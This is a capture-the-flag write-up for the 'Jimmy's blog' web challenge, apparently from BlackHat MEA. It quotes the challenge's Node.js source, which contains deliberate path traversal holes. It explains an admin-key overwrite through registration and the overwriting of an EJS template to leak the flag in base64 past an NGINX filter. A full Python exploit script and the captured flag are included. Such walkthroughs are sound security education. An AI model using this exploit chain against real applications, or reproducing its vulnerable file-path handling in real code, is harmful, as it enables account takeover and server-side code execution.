Diefunction
Search
K

Jimmy's blog

Difficulty

Hard

Points

400

Description

The technology is always evolving, so why do we still stick with password-based authentication? That makes no sense! That’s why I designed my own password-less login system. I even open-sourced it for everyone interested, how nice of me!

Quick Analysis

From the attached source code.

Content of index.js

...
const utils = require("./utils");
...
app.get("/article", (req, res) => {
const id = parseInt(req.query.id).toString();
const article_path = path.join("articles", id);
try {
const contents = fs.readFileSync(article_path).toString().split("\n\n");
const article = {
id: article_path,
date: contents[0],
title: contents[1],
summary: contents[2],
content: contents[3]
}
res.render("article", { article: article, session: req.session, flag: process.env.FLAG });
} catch {
res.sendStatus(404);
}
})
...
app.post("/register", (req, res) => {
const username = req.body.username;
const result = utils.register(username);
if (result.success) res.download(result.data, username + ".key");
else res.render("register", { error: result.data, session: req.session });
})
app.post("/login", upload.single('key'), (req, res) => {
const username = req.body.username;
const key = req.file;
const result = utils.login(username, key.buffer);
if (result.success) {
req.session.username = result.data.username;
req.session.admin = result.data.admin;
res.redirect("/");
}
else res.render("login", { error: result.data, session: req.session });
})
app.get("/logout", (req, res) => {
req.session.destroy();
res.redirect("/");
})
app.get("/edit", (req, res) => {
if (!req.session.admin) return res.sendStatus(401);
const id = parseInt(req.query.id).toString();
const article_path = path.join("articles", id);
try {
const article = fs.readFileSync(article_path).toString();
res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
} catch {
res.sendStatus(404);
}
})
app.post("/edit", (req, res) => {
if (!req.session.admin) return res.sendStatus(401);
try {
fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
res.redirect("/");
} catch {
res.sendStatus(404);
}
})

Content of article.ejs

<!doctype html>
<html>
<%- include('head.ejs') %>
<body class="text-dark bg-light">
<%- include('navbar.ejs') %>
<div class="container my-5 px-5">
<div class="card mb-4">
<div class="card-header">
<%= article.date %>
</div>
<div class="card-body">
<h5 class="card-title"><%= article.title %></h5>
<p class="card-text">
<%= article.summary %>
<hr class="mb-0">
<div class="pre-line">
<%= article.content %>
</div>
</p>
</div>
<div class="card-footer text-muted">
Generated by AI
</div>
</div>
</div>
<%- include('scripts.ejs') %>
</body>
</html>

Content of edit.ejs

<!doctype html>
<html>
<%- include('head.ejs') %>
<body class="text-dark bg-light">
<%- include('navbar.ejs') %>
<div class="container my-5 px-5">
<h3 class="text-center">Welcome jimmy_jammy, your flag is</h3>
<p class="mb-5 text-center"><%= flag %></p>
<h3>Meanwhile, please feel free to edit your article</h3>
<form method="POST">
<textarea class="form-control mb-3" rows="15" name="article"><%= article %></textarea>
<button type="submit" class="btn btn-dark w-100">Save Changes</button>
</form>
</div>
<%- include('scripts.ejs') %>
</body>
</html>

Content of utils.js

const sqlite = require("better-sqlite3");
const path = require("path");
const crypto = require("crypto")
const fs = require("fs");
const db = new sqlite(":memory:");
db.exec(`
DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
admin INTEGER NOT NULL
)
`);
register("jimmy_jammy", 1);
function register(username, admin = 0) {
try {
db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
} catch {
return { success: false, data: "Username already taken" }
}
const key_path = path.join(__dirname, "keys", username + ".key");
const contents = crypto.randomBytes(1024);
fs.writeFileSync(key_path, contents);
return { success: true, data: key_path };
}
function login(username, key) {
const user = db.prepare("SELECT * FROM users WHERE username = ?").get(username);
if (!user) return { success: false, data: "User does not exist" };
if (key.length !== 1024) return { success: false, data: "Invalid access key" };
const key_path = path.join(__dirname, "keys", username + ".key");
if (key.compare(fs.readFileSync(key_path)) !== 0) return { success: false, data: "Wrong access key" };
return { success: true, data: user };
}
module.exports = { register, login };

NGINX configuration

server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
location / {
# Replace the flag so nobody steals it!
sub_filter 'placeholder_for_flag' 'oof, that was close, glad i was here to save the day';
sub_filter_once off;
proxy_pass http://localhost:3000;
}
}

Analyzing index.js

  • The index.js requires util.js file.
  • The endpoint /register requires a username only and returns a key for authentication.
  • The endpoint /login requires a username and a key file.
  • The flag passed to article.ejs view res.render("article", { article: article, session: req.session, flag: process.env.FLAG });.
  • The flag is not rendered via /article endpoint based on the content of the article.ejs.
  • The flag passed to edit.js view res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });.
  • The flag is rendered via GET /edit?id=<INTEGER> endpoint based on the content of the edit.ejs: <p class="mb-5 text-center"><%= flag %></p>
  • The endpoint /edit requires an admin session if (!req.session.admin) return res.sendStatus(401); for both methods GET and POST.
  • The POST endpoint /edit?id=<string> is vulnerable, where you could path traverse via the id parameter ./articles/<id> and write content to the traversal path via the article POST parameter. fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));

Analyzing utils.js

  • the utils file registered an administrator user with jimmy_jammy as a username and a random key with 1024 bytes register("jimmy_jammy", 1);.
  • the register function is vulnerable to account takeover, where you could traversal and overwrite an existing user's key.

Analyzing NGINX configuration [1]

  • the flag is replaced with oof, that was close, glad i was here to save the day via NGINX sub_filter. The ngx_http_sub_module module is a filter that modifies a response by replacing one specified string by another. This module is not built by default, it should be enabled with the --with-http_sub_module configuration parameter.

Exploitation

  • Register ./jimmy_jammy to overwrite the actual jimmy_jammy key.
  • Login with jimmy_jammy and use the key that we obtained via the registration function.
  • Edit the edit.js view to <%= btoa(flag) %> which encodes the flag to base64 via POST /edit?id=../views/edit.js article=<%25%3d+btoa(flag)+%25> to bypass the NGINX sub_filter.
from requests import get, post, Session
session = Session()
url = 'https://blackhat4-48f58fefc9582c2fac90f05e4182f191-0.chals.bh.ctf.sa'
username = 'jimmy_jammy'
# register
endpoint = '/register'
data = { 'username': f'./{username}' }
key = post(url + endpoint, data = data).content
files = { 'key': (f'{username}.key', key, 'application/vnd.apple.keynote') }
# login
endpoint = '/login'
data = { 'username': username }
session.post(url + endpoint, files = files, data = data)
# overwrite the edit.ejs view
endpoint = '/edit'
params = { 'id': '../views/edit.ejs' }
data = { 'article': '<%= btoa(flag) %>' }
session.post(url + endpoint, data = data, params = params)
# get the flag
endpoint = '/edit'
params = { 'id': '1' }
flag = session.get(url + endpoint, params = params).text

The flag

Navigate to the endpoint /edit?id=1 to get the base64 flag
from base64 import b64decode
b64decode(flag).decode()
'BlackHatMEA{551:16:74149ec3a111aa888acdca0eff649540e96c3f1b}'

References

  • http://nginx.org/en/docs/http/ngx_http_sub_module.html#sub_filter